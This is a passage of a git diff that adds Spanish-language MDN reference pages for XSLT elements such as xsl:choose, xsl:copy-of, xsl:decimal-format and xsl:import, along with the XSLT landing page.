+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado.</p>
diff --git a/files/es/web/xslt/choose/index.html b/files/es/web/xslt/choose/index.html
new file mode 100644
index 0000000000..10dd0a2f5f
--- /dev/null
+++ b/files/es/web/xslt/choose/index.html
@@ -0,0 +1,37 @@
+---
+title: choose
+slug: Web/XSLT/choose
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/choose
+---
+<p>{{XsltRef}}<br>
+ El elemento <code>&lt;xsl:choose&gt;</code> define una elección entre un número de alternativas. Funciona como una sentencia switch en los lenguajes procedurales.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:choose&gt;
+	&lt;xsl:when&gt;
+	&lt;xsl:otherwise&gt; [opcional]
+&lt;/&lt;xsl:choose&gt;</pre>
+
+<h3 id="Atributos_necesarios" name="Atributos_necesarios">Atributos necesarios</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Instrucción, aparece con una plantilla. Contiene uno o mas elementos <code>&lt;xsl:when&gt;</code>, y, opcionalmente, un elemento <code>&lt;xsl:otherwise&gt;</code> final.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 9.2.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado.</p>
diff --git a/files/es/web/xslt/comment/index.html b/files/es/web/xslt/comment/index.html
new file mode 100644
index 0000000000..a55f777703
--- /dev/null
+++ b/files/es/web/xslt/comment/index.html
@@ -0,0 +1,37 @@
+---
+title: comment
+slug: Web/XSLT/comment
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/comment
+---
+<p>{{XsltRef}}</p>
+
+<p>El elemento <code>&lt;xsl:comment&gt;</code> escribe un comentario en el documento de salida. Debe incluir sólo texto.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:comment&gt;
+	TEMPLATE
+&lt;/xsl:comment&gt; </pre>
+
+<h3 id="Atributos_necesarios" name="Atributos_necesarios">Atributos necesarios</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Instrucción, aparece dentro de una plantilla.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 7.4.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado.</p>
diff --git a/files/es/web/xslt/copy-of/index.html b/files/es/web/xslt/copy-of/index.html
new file mode 100644
index 0000000000..e4f2fbca2d
--- /dev/null
+++ b/files/es/web/xslt/copy-of/index.html
@@ -0,0 +1,38 @@
+---
+title: copy-of
+slug: Web/XSLT/copy-of
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/copy-of
+---
+<p>{{XsltRef}}</p>
+
+<p>El elemento <code>&lt;xsl:copy-of&gt;</code> crea una copia completa (incluyendo nodos descendientes) en el documento de salida de lo que sea que indique el atributo.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:copy-of select=EXPRESIÓN /&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<dl>
+ <dt><code>select</code></dt>
+ <dd>Indica la expresión XPath a utilizar para seleccionar lo que será copiado.</dd>
+</dl>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Instrucción, aparece dentro de una plantilla.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 11.3.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado.</p>
diff --git a/files/es/web/xslt/copy/index.html b/files/es/web/xslt/copy/index.html
new file mode 100644
index 0000000000..32ddbff1ae
--- /dev/null
+++ b/files/es/web/xslt/copy/index.html
@@ -0,0 +1,40 @@
+---
+title: copy
+slug: Web/XSLT/copy
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/copy
+---
+<p>{{XsltRef}}</p>
+
+<p>El elemento <code>&lt;xsl:copy&gt;</code> genera una copia superficial (el nodo y cualquier nodo del nombre de espacio asociado) del nodo actual al documento de salida. Este elemento no copia ni elementos hijo ni atributos del nodo actual.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:copy use-attribute-sets=LISTA-DE-NOMBRES&gt;
+	PLANTILLA
+&lt;/xsl:copy&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<dl>
+ <dt><code>use-attribute-sets</code></dt>
+ <dd>Lista conjunto de atributos que debería de ser aplicados al nodo de salida, si es un elemento. Los nombres del conjunto deben de estar separados por un espacio en blanco.</dd>
+</dl>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Instrucción, aparece dentro de una plantilla.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 7.5.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Suportado.</p>
diff --git a/files/es/web/xslt/decimal-format/index.html b/files/es/web/xslt/decimal-format/index.html
new file mode 100644
index 0000000000..e42e9ab149
--- /dev/null
+++ b/files/es/web/xslt/decimal-format/index.html
@@ -0,0 +1,99 @@
+---
+title: decimal-format
+slug: Web/XSLT/decimal-format
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/decimal-format
+---
+<p>{{XsltRef}}</p>
+
+<p>El elemento <code>&lt;xsl:decimal-format&gt;</code> define los caracteres y los símbolos que serán usados en la conversión de números a cadenas de texto usando la función <code>format-number( )</code>.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:decimal-format
+	name=NOMBRE
+	decimal-separator=CARACTER
+	grouping-separator=CARACTER
+	infinity=TEXTO
+	minus-sign=CARACTER
+	NaN=TEXTO
+	percent=CARACTER
+	per-mille=CARACTER
+	zero-digit=CARACTER
+	digit=CARACTER
+	pattern-separator=CARACTER /&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Indica el nombre que tendrá este formato.</dd>
+</dl>
+
+<dl>
+ <dt><code>decimal-separator</code></dt>
+ <dd>Indica el caracter a ser usado como punto decimal. El valor por defecto es (<code>.</code>).</dd>
+</dl>
+
+<dl>
+ <dt><code>grouping-separator</code></dt>
+ <dd>Indica el separador de miles. El valor por defecto es (<code>,</code>).</dd>
+</dl>
+
+<dl>
+ <dt><code>infinity</code></dt>
+ <dd>Indica el texto a ser usado para representar el valor de infinito. El valor por defecto es la cadena de texto "<code>Infinity</code>".</dd>
+</dl>
+
+<dl>
+ <dt><code>minus-sign</code></dt>
+ <dd>Indica el caracter a ser usado como signo negativo. El valor por defecto es el guión (<code>-</code>).</dd>
+</dl>
+
+<dl>
+ <dt><code>NaN</code></dt>
+ <dd>Indica la cadena de texto a ser usado cuando el valor no es un número. El valor por defecto es la cadena de texto "<code>NaN</code>".</dd>
+</dl>
+
+<dl>
+ <dt><code>percent</code></dt>
+ <dd>Indica el caracter a ser usado como signo de porcentaje. El valor por defecto es (<code>%</code>).</dd>
+</dl>
+
+<dl>
+ <dt><code>per-mille</code></dt>
+ <dd>Indica el separador de miles. El valor por defecto es (<code>‰</code>).</dd>
+</dl>
+
+<dl>
+ <dt><code>zero-digit</code></dt>
+ <dd>Indica el caracter para el cero. El valor por defecto es (<code>0</code>).</dd>
+</dl>
+
+<dl>
+ <dt><code>digit</code></dt>
+ <dd>Indica el caracter a ser usado en los patrones de formato para indicar un dígito. El valor por defecto es (<code>#</code>).</dd>
+</dl>
+
+<dl>
+ <dt><code>pattern-separator</code></dt>
+ <dd>Indica el caracter para separar patrones de formato negativos y positivos. El valor por defecto es el punto y coma (<code>;</code>).</dd>
+</dl>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Elemento raíz, debe ser hijo de elemento <code>&lt;xsl:stylesheet&gt;</code> o <code>&lt;xsl:transform&gt;</code>.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 12.3.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado desde la versión 1.0 (Mozilla 1.0, Netscape 7.0).</p>
diff --git a/files/es/web/xslt/element/element/index.html b/files/es/web/xslt/element/element/index.html
new file mode 100644
index 0000000000..8e916cc28e
--- /dev/null
+++ b/files/es/web/xslt/element/element/index.html
@@ -0,0 +1,46 @@
+---
+title: element
+slug: Web/XSLT/Element/element
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/element
+---
+<p>{{XsltRef}}</p>
+
+<p><br>
+ El elemento <code>&lt;xsl:element&gt;</code> genera un elemento en el documento de salida.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:element name=NOMBRE namespace=URI use-attribute-sets=LISTA-DE-NOMBRES &gt;
+	PLANTILLA
+&lt;/xsl:template&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Indica el nombre deseado del elemento de salida. El nombre debe seguir las reglas de QName.</dd>
+</dl>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<dl>
+ <dt><code>namespace</code></dt>
+ <dd>Especifica el nombre de espacio del elemento de salida.</dd>
+ <dt><code>use-attribute-sets</code></dt>
+ <dd>Lista el conjunto de atributos a ser usados en el elemento de salida. Los nombres deberán estar separados por espacios en blanco.</dd>
+</dl>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Instrucción, aparece dentro de una plantilla.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 7.1.2.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado</p>
diff --git a/files/es/web/xslt/element/index.html b/files/es/web/xslt/element/index.html
new file mode 100644
index 0000000000..248286b08d
--- /dev/null
+++ b/files/es/web/xslt/element/index.html
@@ -0,0 +1,66 @@
+---
+title: Elementos
+slug: Web/XSLT/Element
+tags:
+  - Todas_las_Categorías
+  - XSLT
+  - 'XSLT:Referencia'
+translation_of: Web/XSLT/Element
+---
+<p>{{XsltRef}} En este documento se discutiran dos tipos de elementos: elementos raíz e instrucciones. Un elemento raíz debe aparecer como un hijo ya sea de <code>&lt;xsl:stylesheet&gt;</code> o <code>&lt;xsl:transform&gt;</code>. Por otro lado, una instrucción está asociada con una plantilla. Una hoja de estilo puede incluir varias plantillas. Un tercer tipo de elemento, no discutido aquí, es el elemento de resultado literal (LRE por sus siglas en inglés). Un LRE también aparece dentro de una plantilla, y consiste de cualquier elemento que no sea instrucción y que debe ser copiado tal cual al documento resultante, por ejemplo el elemento <code>&lt;hr&gt;</code> cuando se usa en una hoja de estilo para general HTML.</p>
+
+<p>Como nota adicional, cualquier atributo en un LRE y algunos atributos de un conjunto específico de elemento XSLT también pueden incluir lo que se conoce como plantilla de valor de atributo. Que en pocas palabras significa que es una cadena de texto que especifíca una expresión XPath la cual indica el valor del atributo. En tiempo de ejecución la expresión es evaluada y el resultado es sustituido por la expresión XPath. Por ejemplo, asumamos que la variable "<code>image-dir</code>" es definida de la siguiente manera:</p>
+
+<pre>&lt;xsl:variable name="image-dir"&gt;/images&lt;/xsl:variable&gt;</pre>
+
+<p>La expresión a ser evaluada se escribe dentro de los símbolos de llaves:</p>
+
+<pre>&lt;img src="{$image-dir}/mygraphic.jpg"/&gt;</pre>
+
+<p>Esto generaría lo siguiente:</p>
+
+<pre>&lt;img src="/images/mygraphic.jpg"/&gt;</pre>
+
+<p>El listado de elementos que sigue a continuación incluye una descripción, la sintaxis, la lista de atributos requeridos y opcionales, una descripción del tipo y la posición, su lugar de definición en la recomendación del W3C y una explicación del nivel de soporte en Gecko.</p>
+
+<ul>
+ <li><a href="/es/XSLT/apply-imports" title="es/XSLT/apply-imports">xsl:apply-imports</a></li>
+ <li><a href="/es/XSLT/apply-templates" title="es/XSLT/apply-templates">xsl:apply-templates</a></li>
+ <li><a href="/es/XSLT/attribute" title="es/XSLT/attribute">xsl:attribute</a></li>
+ <li><a href="/es/XSLT/attribute-set" title="es/XSLT/attribute-set">xsl:attribute-set</a></li>
+ <li><a href="/es/XSLT/call-template" title="es/XSLT/call-template">xsl:call-template</a></li>
+ <li><a href="/es/XSLT/choose" title="es/XSLT/choose">xsl:choose</a></li>
+ <li><a href="/es/XSLT/comment" title="es/XSLT/comment">xsl:comment</a></li>
+ <li><a href="/es/XSLT/copy" title="es/XSLT/copy">xsl:copy</a></li>
+ <li><a href="/es/XSLT/copy-of" title="es/XSLT/copy-of">xsl:copy-of</a></li>
+ <li><a href="/es/XSLT/decimal-format" title="es/XSLT/decimal-format">xsl:decimal-format</a></li>
+ <li><a href="/es/XSLT/element" title="es/XSLT/element">xsl:element</a></li>
+ <li><a href="/es/XSLT/fallback" title="es/XSLT/fallback">xsl:fallback</a> <em>(sin soporte)</em></li>
+ <li><a href="/es/XSLT/for-each" title="es/XSLT/for-each">xsl:for-each</a></li>
+ <li><a href="/es/XSLT/if" title="es/XSLT/if">xsl:if</a></li>
+ <li><a href="/es/XSLT/import" title="es/XSLT/import">xsl:import</a> <em>(casi completamente soportado)</em></li>
+ <li><a href="/es/XSLT/include" title="es/XSLT/include">xsl:include</a></li>
+ <li><a href="/es/XSLT/key" title="es/XSLT/key">xsl:key</a></li>
+ <li><a href="/es/XSLT/message" title="es/XSLT/message">xsl:message</a></li>
+ <li><a href="/es/XSLT/namespace-alias" title="es/XSLT/namespace-alias">xsl:namespace-alias</a> <em>(sin soporte)</em></li>
+ <li><a href="/es/XSLT/number" title="es/XSLT/number">xsl:number</a> <em>(parcialmente soportado)</em></li>
+ <li><a href="/es/XSLT/otherwise" title="es/XSLT/otherwise">xsl:otherwise</a></li>
+ <li><a href="/es/XSLT/output" title="es/XSLT/output">xsl:output</a> <em>(parcialmente soportado)</em></li>
+ <li><a href="/es/XSLT/param" title="es/XSLT/param">xsl:param</a></li>
+ <li><a href="/es/XSLT/preserve-space" title="es/XSLT/preserve-space">xsl:preserve-space</a></li>
+ <li><a href="/es/XSLT/processing-instruction" title="es/XSLT/processing-instruction">xsl:processing-instruction</a></li>
+ <li><a href="/es/XSLT/sort" title="es/XSLT/sort">xsl:sort</a></li>
+ <li><a href="/es/XSLT/strip-space" title="es/XSLT/strip-space">xsl:strip-space</a></li>
+ <li><a href="/es/XSLT/stylesheet" title="es/XSLT/stylesheet">xsl:stylesheet</a> <em>(parcialmente soportado)</em></li>
+ <li><a href="/es/XSLT/template" title="es/XSLT/template">xsl:template</a></li>
+ <li><a href="/es/XSLT/text" title="es/XSLT/text">xsl:text</a> <em>(parcialmente soportado)</em></li>
+ <li><a href="/es/XSLT/transform" title="es/XSLT/transform">xsl:transform</a></li>
+ <li><a href="/es/XSLT/value-of" title="es/XSLT/value-of">xsl:value-of</a> <em>(parcialmente soportado)</em></li>
+ <li><a href="/es/XSLT/variable" title="es/XSLT/variable">xsl:variable</a></li>
+ <li><a href="/es/XSLT/when" title="es/XSLT/when">xsl:when</a></li>
+ <li><a href="/es/XSLT/with-param" title="es/XSLT/with-param">xsl:with-param</a></li>
+</ul>
+
+<p><span class="comment">categorías</span></p>
+
+<p><span class="comment">interwikis</span></p>
diff --git a/files/es/web/xslt/fallback/index.html b/files/es/web/xslt/fallback/index.html
new file mode 100644
index 0000000000..472ae59de8
--- /dev/null
+++ b/files/es/web/xslt/fallback/index.html
@@ -0,0 +1,38 @@
+---
+title: fallback
+slug: Web/XSLT/fallback
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/fallback
+---
+<p>{{XsltRef}}</p>
+
+<p><br>
+ El elemento <code>&lt;xsl:fallback&gt;</code> indica la plantilla a usar en caso de que algun elemento extendido (o, eventualmente, una nueva versión) no esté soportado.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:fallback&gt;
+	PLANTILLA
+&lt;/xsl:fallback&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Instrucción, aparece dentro de una plantilla.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 15</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Sin soporte por el momento.</p>
diff --git a/files/es/web/xslt/for-each/index.html b/files/es/web/xslt/for-each/index.html
new file mode 100644
index 0000000000..8cc96419b5
--- /dev/null
+++ b/files/es/web/xslt/for-each/index.html
@@ -0,0 +1,42 @@
+---
+title: for-each
+slug: Web/XSLT/for-each
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/for-each
+---
+<p>{{XsltRef}}</p>
+
+<p><br>
+ El elemento <code>&lt;xsl:for-each&gt;</code> selecciona un conjunto de nodos y procesa cada uno de ellos de la misma manera. Se usa comúnmente para iterar a través de un conjunto de nodos o para cambiar el nodo actual. Si se encuentran uno o más elementos <code>&lt;xsl:sort&gt;</code> como hijos de este elemento, el ordenado de los nodos ocurrirá antes del procesamiento. De otra manera, los nodos se procesarán en el orden del documento.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:for-each select=EXPRESIÓN&gt;
+	&lt;xsl:sort&gt; [opcional]
+	PLANTILLA
+&lt;/xsl:for-each&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<dl>
+ <dt><code>select</code></dt>
+ <dd>Usa una expresión XPath para seleccionar los nodos a ser procesados.</dd>
+</dl>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Instrucción, aparece dentro de una plantilla.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 8.</p>
+
+<h3 id="Gecko_support" name="Gecko_support">Gecko support</h3>
+
+<p>Soportado.</p>
diff --git a/files/es/web/xslt/if/index.html b/files/es/web/xslt/if/index.html
new file mode 100644
index 0000000000..4cfaad7f59
--- /dev/null
+++ b/files/es/web/xslt/if/index.html
@@ -0,0 +1,39 @@
+---
+title: if
+slug: Web/XSLT/if
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/if
+---
+<p>{{XsltRef}}<br>
+ El elemento &lt;xsl:if&gt; contiene un atributo a probar y una plantilla. Si el atributo resulta verdadero, la plantilla es procesada. Este comportamiento es similar a la sentencia if de otros lenguajes. Sin embargo, para conseguir la funcionalidad de una sentencia if-then-else, es necesario utilizar el elemento &lt;xsl:choose&gt; con un elemento hijo &lt;xsl:when&gt;, y otro elemento hijo &lt;xsl:otherwise&gt;</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:if test=EXPRESSION&gt;
+	TEMPLATE
+&lt;/xsl:if&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<dl>
+ <dt><code>test</code></dt>
+ <dd>Contiene una expresión XPath que puede ser evaluada (usando las reglas definidas para <code>boolean( )</code> si es necesario) como un valor boleano. Si el valor resulta verdadero, la plantilla es procesada; si resulta falso, no se lleva a cabo ninguna acción.</dd>
+</dl>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Instrucción, aparece dentro de una plantilla.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSL sección 9.1.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado</p>
diff --git a/files/es/web/xslt/import/index.html b/files/es/web/xslt/import/index.html
new file mode 100644
index 0000000000..73c341349f
--- /dev/null
+++ b/files/es/web/xslt/import/index.html
@@ -0,0 +1,39 @@
+---
+title: import
+slug: Web/XSLT/import
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/import
+---
+<p>{{XsltRef}}</p>
+
+<p><br>
+ El elemento <code>&lt;xsl:import&gt;</code> sirve para importar el contenido de una hoja de estilo dentro de otra hoja de estilo. En general, el contenido de la hoja de estilo importada tiene una menor precedencia que el contenido de la hoja de estilo que la importa. Esto contrasta con el elemento <code>&lt;xsl:include&gt;</code> en el que el contenido de la hoja de estilo incluida tiene exactamente la misma precedencia que el contenido de la hoja de estilo que la incluye.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:import href=URI  /&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<dl>
+ <dt><code>href</code></dt>
+ <dd>URI de la hoja de estilo a importar.</dd>
+</dl>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Nivel raíz, debe aparecer antes de cualquier otro hijo de <code>&lt;xsl:stylesheet&gt;</code> o <code>&lt;xsl:transform&gt;</code> en la hoja de estilo que la importa.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 2.6.2.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Casi completamente soportado, con tan solo algunos detalles con variables de nivel raíz y parámetros desde Mozilla 1.0.</p>
diff --git a/files/es/web/xslt/include/index.html b/files/es/web/xslt/include/index.html
new file mode 100644
index 0000000000..31dbc990eb
--- /dev/null
+++ b/files/es/web/xslt/include/index.html
@@ -0,0 +1,39 @@
+---
+title: include
+slug: Web/XSLT/include
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/include
+---
+<p>{{XsltRef}}</p>
+
+<p><br>
+ El elemento <code>&lt;xsl:include&gt;</code> une el contenido de una hoja de estilo con otra. A diferencia del elemento <code>&lt;xsl:import&gt;</code>, el contenido de la hoja de estilo incluida tiene exactamente la misma precedencia que el contenido de la hoja de estilo que la incluye.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:include href=URI /&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<dl>
+ <dt><code>href</code></dt>
+ <dd>Indica el URI de la hoja de estilo a incluir.</dd>
+</dl>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Elemento raíz, puede aparecer en cualquier orden siendo hijo del elemento <code>&lt;xsl:stylesheet&gt;</code> o el elemento <code>&lt;xsl:transform&gt;</code>.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 2.6.1.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado.</p>
diff --git a/files/es/web/xslt/index.html b/files/es/web/xslt/index.html
new file mode 100644
index 0000000000..9813026c4d
--- /dev/null
+++ b/files/es/web/xslt/index.html
@@ -0,0 +1,55 @@
+---
+title: XSLT
+slug: Web/XSLT
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT
+---
+<p>
+</p>
+<div class="callout-box"><b><a class="external" href="http://www.w3schools.com/xsl/">Tutorial XSLT (en)</a></b><br>
+Este tutorial enseña como usar XSLT para transformar documentos XML en otros formatos.</div> <div>
+<p>XSLT o XSL Transformaciones es un estandar de la organización W3C que presenta una forma de transformar documentos XML en otros, incluso a formatos que no son XML. Las hojas de estilo XSLT realizan la transformación del documento utilizando una o varias reglas de plantilla unidas al documento fuente a transformar.
+</p><p>Actualmente, XSLT es muy usado en la edición web, generando páginas HTML o XHTML. La unión de XML y XSLT permite separar contenido y presentación, aumentando así la productividad.. {{ Ref(1) }}
+</p>
+</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n"> <a>Documentación</a> </h4>
+<dl><dt> <a href="es/Transformando_XML_con_XSLT">Transformando XML con XSLT</a>
+</dt><dd> <small> XSLT permite que un autor de hojas de estilo transformar un documento XML inicial de dos modos distintos: manipulando y clasificando el contenido, y transformando del contenido a un formato diferente. </small>
+</dd></dl>
+<dl><dt> <a href="es/XSLT/Elementos">Elementos XSLT</a>
+</dt><dd> <small>Referencia de los elementos de XSLT.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.daniel.prado.name/Programacion-XSL-XSLT.asp?art=133">Introducción a XSL - XSLT</a>
+</dt><dd> <small> Cuando un buen ejemplo vale más que mil palabras. </small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.mozilla.org/projects/xslt/js-interface.html">Utilizando la interfaz JavaScript de Mozilla para Transformaciones XSLT (en)</a>
+</dt><dd> <small> Este documento describe la interfaz JavaScript de Mozilla 1.2 y el motor de procesado de XSLT. Notese que esto no es aplicable a las publicaciones previas de Mozilla o de otros navegadores basados el. </small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.topxml.com/xsl/tutorials/intro/">Tutorial XSLT y XPath (en)</a>
+</dt><dd> <small> El tutorial TopXML XSLT hace una introducción a los conceptos básicos, la sintaxis, y la programación en XSLT. Las hojas de trabajos descargadas y el software proporcionan ejemplos de código y herramientas de programación en XSLT. </small>
+</dd></dl>
+<p><span class="comment">; {{ mediawiki.external('http://www-128.ibm.com/developerworks/xml/library/x-xslt/?article=xr ¿Qué tipo de lenguaje es XSLT?') }} : &lt;small&gt; ¿Qué tipo de lenguaje es XSLT, para que sirve y porqué fue diseñado como lo está? Estas preguntas tienen distintas respuestas, y a menudo los principiantes se sienten confundidos porque el lenguaje es muy diferente de cualquier otro al que están acostumbrados. Este artículo intenta poner XSLT en contexto. Sin intentar enseñar a escribir hojas de estilo XSLT, explica de dónde viene el lenguaje, para qué es adecuado, y porqué debería ser usado.&lt;/small&gt;</span>
+</p><p><span class="alllinks"><a>Ver más</a></span>
+</p>
+</td> <td>
+<h4 id="Comunidad" name="Comunidad"> Comunidad </h4>
+<ul><li> Los foros de Mozilla en inglés:
+</li></ul>
+<p>{{ DiscussionList("dev-tech-xslt", "mozilla.dev.tech.xslt") }}
+</p>
+<h4 id="Herramientas" name="Herramientas"> Herramientas </h4>
+<h4 id="Temas_relacionados" name="Temas_relacionados"> Temas relacionados </h4>
+<dl><dd> <a href="es/XML">XML</a>, <a href="es/XPath">XPath</a>, <a href="es/XSL">XSL</a>.
+</dd></dl>
+</td> </tr> </tbody></table>
+<p><small>
+{{ Note(1) }} Esta descripción de XSLT ha sido obtenida del <a class="external" href="http://es.wikipedia.org/wiki/XSLT">Artículo sobre XSLT en la Wikipedia (es)</a>.
+</small>
+</p><p><span class="comment">Categorías</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/XSLT", "fr": "fr/XSLT", "it": "it/XSLT", "ja": "ja/XSLT", "ko": "ko/XSLT", "pl": "pl/XSLT", "pt": "pt/XSLT" } ) }}
diff --git a/files/es/web/xslt/key/index.html b/files/es/web/xslt/key/index.html
new file mode 100644
index 0000000000..536f373039
--- /dev/null
+++ b/files/es/web/xslt/key/index.html
@@ -0,0 +1,44 @@
+---
+title: key
+slug: Web/XSLT/key
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/key
+---
+<p>{{XsltRef}}</p>
+
+<p><br>
+ El elemento <code>&lt;xsl:key&gt;</code> declara una llave con nombre la cual puede ser usada en otro lugar dentro de la hoja de estilo usando la función <code>key( )</code>.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:key name=NOMBRE match=EXPRESIÓN
+	use=EXPRESIÓN /&gt; </pre>
+
